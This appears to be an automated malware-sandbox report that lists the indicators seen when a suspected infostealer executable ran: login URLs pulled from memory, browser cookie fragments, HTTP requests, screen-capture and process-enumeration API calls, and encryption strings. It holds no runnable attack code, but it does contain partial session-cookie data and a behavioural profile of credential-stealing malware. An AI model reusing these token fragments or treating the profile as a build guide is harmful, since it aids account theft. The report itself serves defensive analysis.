"8vUumicrosoft.comMUID12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comFedAuth1d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUN" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y4/r/Fz2Db744R_p.js?_nc_x=Ij3Wp8lg5Kz.Array.fromflatArray.flatQcR?flatMap.flatMapa:Qdn" Pattern match: "Emed.HYm/zcIE$2{`2All;ji[n~;_ID?S!x!PM283S4w5XDX0\Scs%Ut[g?~QCM" Pattern match: "accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AYZoVhcuAC3aG2LoFFCveUpZ1hFdYikfQtS4NZqseN-5muMUx2LMEzCPe5iMiouypNOKenIvMKbUaASign" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathWildcard}?ei={inputEncoding}&fr=crmas_sfp&p={searchTerms}UTF-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchTerms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "https://ntp.msn.com/edge/ntp?locale=en&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531edge://settings/profileskeygjgieestate_{edge://settingsedge://settings/edge://settings/?search=smartkeygr10nmstate_{edge://settingsedge://settings/?search=smartedge" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yE/r/dZPMFj3nPTC.js?_nc_x=Ij3Wp8lg5KzfreezeACTIVEDYNAMICBIOMETRICDEPRECATEDIOS_NATIVEANDROID_NATIVEEQUAL_BY_VALUEEQUAL_BY_CONTEXT" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yf/r/LgvwffuKmeX.js?_nc_x=Ij3Wp8lg5KzQc~!NexportsDaFhL`0]E\/Illegal" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/ya/r/VE50Ak15pC2.js?_nc_x=Ij3Wp8lg5KzdurationGdocumentaddEventListenerkeydownLL`getTarget" Pattern match: "https://ntp.www.office.com&_https://ntp.msn.comCookieSyncExpiry'_https://ntp.msn.comDefaultFeedPolicy_https://ntp.msn.comGpuExist/_https://ntp.msn.comNOTIFICATION_CACHE_LS_KEY_https://ntp.msn.combkgdV+_https://ntp.msn.combreakingNewsDismissed" Pattern match: "https://static.xx.fbcdn.net/rsrc.php/v3iqES4/y3/l/en_US/Mrfpd_OhKdt.js?_nc_x=Ij3Wp8lg5Kza((^|\.)instagram\.com$)|((^|\.)wit\.ai$)|((^|\.)accountkit\.com$)QcjJ7httpsa.setHandlerabsetHandlera.setTimeoutasetTimeouta.sendsenda._sendQcJ*_sendQc~!NexportsCookies" Pattern match: "www.clarity.msCLIDv10" Pattern match: "www.facebook.com/loginhttps://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=1009https://ntp.msn.com/edge/ntp?locale=en&title=New+tab&dsp=1&sp=Bing&startpage=1&PC=U531]=https://ntp.msn.com/edge/ntp?locale=en&title=New%20tab&dsp=1&sp" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y0/r/lo85HUm3JvU.js?_nc_x=Ij3Wp8lg5KzgetIDQd.RgetAccountIDCgetPossiblyNonFacebookUserIDCgetEIMU$QgFgetEmployeeWorkUserIDgetNamegetShortNameCgetEPOUisLoggedInisLoggedInNowisEmployeeisTestUserhasWorkUserisWorkUserisWorkroomsUs" Pattern match: "csp.withgoogle.com/csp/report-to/boq-infra/identity-boq-js-css-signerss'[]httpswww.facebook.comdefaulthttps://www.facebook.com/ajax/browser_error_reports/?device_level=unknown[]httpslogin.microsoftonline.comnetwork-errorshttps://identity.nel.measure.office" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3i7M54/yw/l/en_US/XcDw7EbXxh2.js?_nc_x=Ij3Wp8lg5KzaONLOAD_HOOKloadedapplyWithGuardPageHooks:onbeforeleavehooksonbeforeunloadhooksregisterCallbackBIGPIPE_DOMREADYINITIAL_JS_READYBIGPIPE_ONLOADsubscribeNATIVE_ONBEFOREUNLOADwarnQ" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yl/r/91eSXE1Xt1o.js?_nc_x=Ij3Wp8lg5KzreactcreateContext$Qg~wrapPrepareQueryResourceCQc~!Nexportsreact-relay/relay-hooks/ProfilerContexta.getTL`&consumeBootloadholdClogHeroRenderlogMetadatalogPageletVCCQe:ulogReactCommitlogRe" Pattern match: "github.com/notepad-plus-plus/notepad-plus-plus/releases/download/v8.4.7/npp.8.4.7.portable.x64.7zhttps://objects.githubusercontent.com/github-production-release-asset-2e65be/33014811/42d9bc38-89f0-48d8-94ec-d1f3649d2fc3?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-A" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5KzcreateHTMLa.createHTMLaTrustedTypescreatePolicydom-ie-fixieCompatibilityModeie64QcN]_firefoxoperawebkitsafarichromewindowsQcR0linuxiphonemobilenativeAppandroidipaddocumentQe*O=RcreateElem" Pattern match: "https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53r3l?ver=5412,PORTRAIT:https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53bta?ver=2bf3,update_period:86400},creativeId:128000000003595" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yb/r/8ZU4_G4j_iT.js?_nc_x=Ij3Wp8lg5Kzcall$EventEmitterWithValidation1" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y4/r/Jga1OTQHsy4.js?_nc_x=Ij3Wp8lg5KzgetFalcoLogPolicy_DO_NOT_USE1828905FalcoLoggerInternalcreatejavascript_web_errorhasOwnPropertybabelHelpersinheritsLooseRequireDeferredReferenceDa^RDFDRequireDeferredReferencegetInstancege" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyxOX.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://www.facebook.com/loginhttps://www.facebook.com/loginhttps://www.facebook.com/loginhttps://www.facebook.com/loginhttps://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.co" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yO/r/JqPW1v4qt3f.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yt/r/jIUN0Hn2kpD.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "https://ntp.msn.com/REG:https://ntp.msn.com/https://ntp.msn.com/edge/ntp.https://ntp.msn.com/edge/ntp/service-worker.js" Pattern match: "https://googleads.g.doubleclick.net/next-map-idQnamespace-3bbc91a6_51d0_4200_9fa7_2e3ec0fddf25-https://tpc.googlesyndication.com/34U" Pattern match: "https://www.clarity.ms,supports_spdy:true},{anonymization:[],server:https://microsoftedgewelcome.microsoft.com,supports_spdy:true},{anonymization:[],server:https://edgefrecdn.azureedge.net,supports_spdy:true},{anonymization:[],server" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yt/r/d4QqVJOdC1V.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y9/r/BTdUGzsTGVy.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y1/r/P8DLAFRlDfy.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/ye/r/yUtEQ4ajXZI.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yw/r/wm4d5zAAo-a.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yn/r/RgOsepMd0zg.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yh/r/bpW4eEg-2_W.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.W2TcMaC5utg.es5.O/ck=boq-identity.AccountsSignInUi.OHZxafzVA3M.L.W.O/am=jmBFTDw2AIL_RxPn7xknhwEAAAAAAAAAANZAdg/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEml" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.W2TcMaC5utg.es5.O/am=jmBFTDw2AIL_RxPn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlEAO-ISt0gox4x8lM0B2HUhGjxGBA/m=_b,_tp" Pattern match: "assets.db/MANIFEST-0000012023/10/13-10:26:44.831" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3i7M54/yw/l/en_US/XcDw7EbXxh2.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3iqES4/y3/l/en_US/Mrfpd_OhKdt.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yE/r/dZPMFj3nPTC.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y4/r/Fz2Db744R_p.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y0/r/lo85HUm3JvU.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y4/r/Jga1OTQHsy4.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/ya/r/VE50Ak15pC2.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yb/r/8ZU4_G4j_iT.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yf/r/LgvwffuKmeX.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yl/r/91eSXE1Xt1o.js?_nc_x=Ij3Wp8lg5Kz" Heuristic match: "accounts.google.com" Heuristic match: "arc.msn.com" Heuristic match: "connect.facebook.net" Heuristic match: "facebook.com" Heuristic match: "fbcdn.net" Heuristic match: "fbsbx.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "static.xx.fbcdn.net" Pattern match: "www.facebook.com" Pattern match: "www.gstatic.com" Pattern match: "assets.db/MANIFEST-000001" Pattern match: "assets.db/000003.log" Pattern match: "https://accounts.google.com" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi._5ZOqXBkwmw.L.B1.O/am=jmBFzDw2AIL_RxPn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlE0eUzaCAVasKP708i1kXS8aKlfhg/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.W2TcMaC5utg.es5.O/am=jmBFzDw2AIL_RxPn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlEQw7OXvOXsotDITJVvmEVTvUylwg/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Heuristic match: "Et@.Et" Pattern match: "go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "http://www.validationtest.contoso.com/test%d.html"62:T9bb,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00000236.00000001.76476.72841000.00000020.mdmp")63:T4a9,GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports HTTP/1.1Connection: Keep-Alive User-Agent: Microsoft-WNS/10.0 Host: assets.msn.com GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive User-Agent: Microsoft-WNS/10.0 Host: assets.msn.com GET /edgeoffer/experiments?appId=edge-extensions&country=US HTTP/1.1Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56 Accept-Encoding: gzip deflate br Accept-Language: en-US en;q=0.9 GET /edgeoffer/paths/facebook.com?appId=edge-extensions&country=US HTTP/1.1Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56 Accept-Encoding: gzip deflate br Accept-Language: en-US en;q=0.964:T848,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindNextFileA" with parameter .. (UID: 00000000-00005808) "go3wz13.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00007876) "go3wz13.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00007876) "KN5EZ95.exe" called "FindFirstFileA" with parameter %TEMP%\IXP002.TMP\* (UID: 00000000-00007608) "KN5EZ95.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00007608) "ny1qE70.exe" called "FindFirstFileA" with parameter %TEMP%\IXP003.TMP\* (UID: 00000000-00001584) "ny1qE70.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001584) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00001984) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00001984)65:T1686,file/memory contains long string with (Indicator: "base64"; File: "2cc93fb6fc93f451_0") file/memory contains long string with (Indicator: "base64"; File: "r7zQQwhb72PgBdGz") file/memory contains long string with (Indicator: "base64"; File: "dbe97c4dfe38adee_0") file/memory contains long string with (Indicator: "blowfish"; File: "dbe97c4dfe38adee_0") file/memory contains long string with (Indicator: "base64"; File: "00b08b1da7252a5d_0") file/memory contains long string with (Indicator: "aes"; File: "267162600b962caa_0") file/memory contains long string with (Indicator: "base64"; File: "267162600b962caa_0") file/memory contains long string with (Indicator: "base64"; File: "f4b96565b137a36c_0") file/memory contains long string with (Indicator: "base64"; File: "4d21b3915218e5af_0") file/memory contains long string with (Indicator: ".decrypt"; File: "7faaeb6d807041bb_0") file/memory contains long string with (Indicator: ".encrypt"; File: "7faaeb6d807041bb_0") file/memory contains long string with (Indicator: "base64"; File: "7faaeb6d807041bb_0") file/memory contains long string with (Indicator: "blowfish"; File: "7faaeb6d807041bb_0") file/memory contains long string with (Indicator: "aes"; File: "5948d60f-c586-4892-9596-5d69da6a9153.tmp") file/memory contains long string with (Indicator: "aes"; File: "986f3f23-1952-4c2e-9380-215b8d4ed47f.tmp") file/memory contains long string with (Indicator: "aes"; File: "4b4248b410f3ad35_0") file/memory contains long string with (Indicator: "aes"; File: "PCAP") Found string "FromBase64" (Indicator: "base64"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "FromBase64String" (Indicator: "base64"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "base64str" (Indicator: "base64"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "FromBase64CharArray" (Indicator: "base64"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found string "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aes"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "RSACryptoServiceProvider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "AesCryptoServiceProvider" (Indicator: "aes"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "RijndaelManaged" (Indicator: "rijndael"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "RijndaelManaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp")66:T9e9,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp")67:Te03,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "Module32First" (Indicator: "Module32First"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 